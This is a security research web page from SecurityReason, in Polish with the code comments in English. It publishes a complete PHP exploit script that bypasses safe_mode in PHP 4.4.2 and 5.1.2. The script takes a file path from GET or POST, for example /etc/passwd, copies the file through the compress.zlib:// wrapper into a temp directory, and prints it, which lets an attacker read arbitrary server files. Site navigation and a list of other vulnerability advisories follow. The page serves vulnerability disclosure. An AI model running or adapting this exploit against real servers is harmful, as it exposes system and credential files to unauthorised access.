SecurityReason - PHP 4.4.2 and PHP 5.1.2 Safe Mode Bypass ( Badania Naduzycie )

Kod :

<?php
/*
Safe_Mode Bypass PHP 4.4.2 and PHP 5.1.2
by Maksymilian Arciemowicz SecurityReason.Com
cxib [at] securityreason [dot] com and max [at] jestsuper [dot] pl
pozdro sp3x
*/

$file=""; // File to Include... or use _GET _POST
$tymczas=""; // Set $tymczas to dir where you have 777 like /var/tmp

echo "<PRE>\n";
if(empty($file)){
if(empty($_GET['file'])){
if(empty($_POST['file'])){
die("\nSet varibles \$tymczas, \$file or use for varible file POST, GET
like
?file=/etc/passwd\n <CENTER>SecurityReason.Com
Exploit</CENTER>");
} else {
$file=$_POST['file'];
}
} else {
$file=$_GET['file'];
}
}

$temp=tempnam($tymczas, "cx");

if(copy("compress.zlib://".$file, $temp)){
$zrodlo = fopen($temp, "r");
$tekst = fread($zrodlo, filesize($temp));
fclose($zrodlo);
echo "--- Start File ".htmlspecialchars($file)."
-------------\n".htmlspecialchars($tekst)."\n--- End File
".htmlspecialchars($file)." ---------------\n";
unlink($temp);
die("\nFile
".htmlspecialchars($file)." has been already loaded. SecurityReason Team
;]");
} else {
die("<CENTER>Sorry... File
".htmlspecialchars($file)." dosen't exists or you don't have
access.</CENTER>");
}
?>

Bezpieczeństwo informacji

Wiadomości IT

Dodaj wiadomość

Szukaj

Baza SecurityAlert

O SecurityAlert

Baza ExploitAlert

Badania SecurityReason

Baza WLB

Dodaj Note WLB

O WLB

Informacje

Harmonogram

Cena

Referencje

Kontakt

Wiadomości

SecurityAlert

ExploitAlert

Apache

PHP

WLB

Kontakt

Informacje o firmie

Apache HTTP Server Denial
of Service Vulnerability

Multiple Vendors
libc/fnmatch(3) DoS (incl
apache poc)

Apache Continuum
cross-site scripting
vulnerability

Apache Tomcat DoS
Vulnerability

PHP Hashtables Denial of
Service

PHP 5.3.6 multiple null
pointer dereference

PHP 5.3.6 ZipArchive
invalid use glob(3)

libzip 0.9.3
   _zip_name_locate NULL
   Pointer Dereference (incl
   PHP 5.3.5)